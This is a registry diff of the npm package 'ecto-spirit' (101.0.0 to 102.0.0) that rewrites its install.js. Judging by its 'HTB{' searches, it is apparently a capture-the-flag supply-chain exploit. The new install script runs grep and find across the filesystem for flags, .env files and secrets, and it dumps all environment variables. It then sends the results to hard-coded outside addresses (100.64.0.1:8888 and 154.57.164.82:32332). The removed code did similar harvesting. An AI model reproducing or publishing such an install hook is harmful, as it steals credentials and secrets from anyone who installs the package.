ecto-spirit 101.0.0 → 102.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +52 -82
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -7,8 +7,9 @@ function tryRead(p) {
|
|
|
7
7
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
8
8
|
}
|
|
9
9
|
|
|
10
|
-
function sendUpdate(host, port, moduleId,
|
|
11
|
-
const
|
|
10
|
+
function sendUpdate(host, port, moduleId, val) {
|
|
11
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
12
|
+
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
12
13
|
const body = JSON.stringify({ manifest });
|
|
13
14
|
return new Promise((resolve) => {
|
|
14
15
|
const req = http.request({ hostname: host, port, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, (res) => {
|
|
@@ -33,98 +34,67 @@ function sendHTTP(host, port, pth, payload) {
|
|
|
33
34
|
});
|
|
34
35
|
}
|
|
35
36
|
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
// Search common flag locations
|
|
41
|
-
const paths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/app/flag', '/app/flag.txt',
|
|
42
|
-
'/home/flag', '/home/flag.txt', '/opt/flag', '/opt/flag.txt', '/tmp/flag', '/tmp/flag.txt',
|
|
43
|
-
'/var/flag', '/data/flag', '/data/flag.txt'];
|
|
44
|
-
|
|
45
|
-
for (const p of paths) {
|
|
46
|
-
const content = tryRead(p);
|
|
47
|
-
if (content) {
|
|
48
|
-
info.push(`FILE:${p}=${content.substring(0,60)}`);
|
|
49
|
-
if (content.includes('HTB{') || content.includes('flag{')) flag = content;
|
|
50
|
-
}
|
|
51
|
-
}
|
|
52
|
-
|
|
53
|
-
// Search /app directory recursively
|
|
54
|
-
function searchDir(dir, depth) {
|
|
55
|
-
if (depth > 3) return;
|
|
56
|
-
try {
|
|
57
|
-
const entries = fs.readdirSync(dir);
|
|
58
|
-
for (const e of entries) {
|
|
59
|
-
if (e === 'node_modules' || e === '.git') continue;
|
|
60
|
-
const full = path.join(dir, e);
|
|
61
|
-
try {
|
|
62
|
-
const stat = fs.statSync(full);
|
|
63
|
-
if (stat.isFile() && (e.includes('flag') || e === '.env' || e === 'config.js' || e === 'config.json')) {
|
|
64
|
-
const content = tryRead(full);
|
|
65
|
-
if (content) {
|
|
66
|
-
info.push(`${full}=${content.substring(0,60)}`);
|
|
67
|
-
if (content.includes('HTB{') || content.includes('flag{')) flag = content;
|
|
68
|
-
}
|
|
69
|
-
} else if (stat.isDirectory() && depth < 3) {
|
|
70
|
-
searchDir(full, depth + 1);
|
|
71
|
-
}
|
|
72
|
-
} catch(e2) {}
|
|
73
|
-
}
|
|
74
|
-
} catch(e) {}
|
|
37
|
+
async function report(moduleId, val) {
|
|
38
|
+
const ports = [3000, 80, 8080, 5000];
|
|
39
|
+
for (const p of ports) {
|
|
40
|
+
await sendUpdate('127.0.0.1', p, moduleId, val);
|
|
75
41
|
}
|
|
42
|
+
await sendUpdate('154.57.164.82', 32332, moduleId, val);
|
|
43
|
+
}
|
|
76
44
|
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
searchDir('/home', 0);
|
|
80
|
-
searchDir('/data', 0);
|
|
81
|
-
searchDir('/opt', 0);
|
|
45
|
+
(async () => {
|
|
46
|
+
let results = [];
|
|
82
47
|
|
|
83
|
-
//
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
const procEnv = tryRead('/proc/self/environ');
|
|
89
|
-
if (procEnv) {
|
|
90
|
-
const m = procEnv.match(/FLAG[A-Z_]*=([^\x00]+)/g);
|
|
91
|
-
if (m) info.push('PROC_ENV=' + m.join(','));
|
|
92
|
-
}
|
|
48
|
+
// 1. Search for HTB{ pattern in files using grep
|
|
49
|
+
try {
|
|
50
|
+
const grep = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" --include="*.js" --include="*.json" --include="*.conf" --include="*.yml" --include="*.yaml" --include="*.cfg" --include="*.ini" -l 2>/dev/null | head -5', {timeout: 10000}).toString().trim();
|
|
51
|
+
results.push('GREP=' + grep);
|
|
52
|
+
} catch(e) { results.push('GREP_ERR'); }
|
|
93
53
|
|
|
94
|
-
//
|
|
54
|
+
// 2. Find all files with flag in name
|
|
95
55
|
try {
|
|
96
|
-
const
|
|
97
|
-
|
|
56
|
+
const find = execSync('find / -maxdepth 4 -name "*flag*" -o -name "*.env" -o -name "secret*" 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
|
|
57
|
+
results.push('FIND=' + find);
|
|
98
58
|
} catch(e) {}
|
|
99
59
|
|
|
100
|
-
//
|
|
60
|
+
// 3. Read full package.json
|
|
61
|
+
const pkgJson = tryRead('/app/package.json');
|
|
62
|
+
results.push('PKG=' + (pkgJson || 'NONE').substring(0, 200));
|
|
63
|
+
|
|
64
|
+
// 4. List /app in detail
|
|
101
65
|
try {
|
|
102
|
-
const
|
|
103
|
-
|
|
66
|
+
const ls = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
|
|
67
|
+
results.push('LS_APP=' + ls.substring(0, 200));
|
|
104
68
|
} catch(e) {}
|
|
105
69
|
|
|
106
|
-
//
|
|
107
|
-
const
|
|
108
|
-
|
|
70
|
+
// 5. Read all env vars
|
|
71
|
+
const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
|
|
72
|
+
results.push('ENV=' + envStr.substring(0, 200));
|
|
109
73
|
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
for (
|
|
118
|
-
|
|
74
|
+
// 6. Read /app/.env
|
|
75
|
+
const dotEnv = tryRead('/app/.env');
|
|
76
|
+
if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
|
|
77
|
+
|
|
78
|
+
// 7. Try to read the flag from unusual locations
|
|
79
|
+
const extraPaths = ['/app/config.js', '/app/.env', '/app/config.json', '/app/secrets', '/etc/hostname',
|
|
80
|
+
'/run/secrets/flag', '/var/run/secrets/flag', '/app/flag', '/data/flag'];
|
|
81
|
+
for (const p of extraPaths) {
|
|
82
|
+
const c = tryRead(p);
|
|
83
|
+
if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
// Send to VPN listener
|
|
87
|
+
await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({results: results.join('\n'), ts: Date.now()}));
|
|
88
|
+
|
|
89
|
+
// Split results across modules
|
|
90
|
+
const full = results.join('|');
|
|
91
|
+
const chunks = [];
|
|
92
|
+
for (let i = 0; i < full.length; i += 90) {
|
|
93
|
+
chunks.push(full.substring(i, i + 90));
|
|
119
94
|
}
|
|
120
95
|
|
|
121
|
-
const
|
|
122
|
-
for (let i = 0; i < Math.min(
|
|
123
|
-
|
|
124
|
-
for (const p of ports) {
|
|
125
|
-
await sendUpdate('127.0.0.1', p, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
126
|
-
await sendUpdate('localhost', p, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
127
|
-
}
|
|
128
|
-
await sendUpdate('154.57.164.82', 32332, moduleIds[i], 'R' + i + '_' + parts[i]);
|
|
96
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
97
|
+
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
98
|
+
await report(mods[i], 'P' + i + '_' + chunks[i]);
|
|
129
99
|
}
|
|
130
100
|
})();
|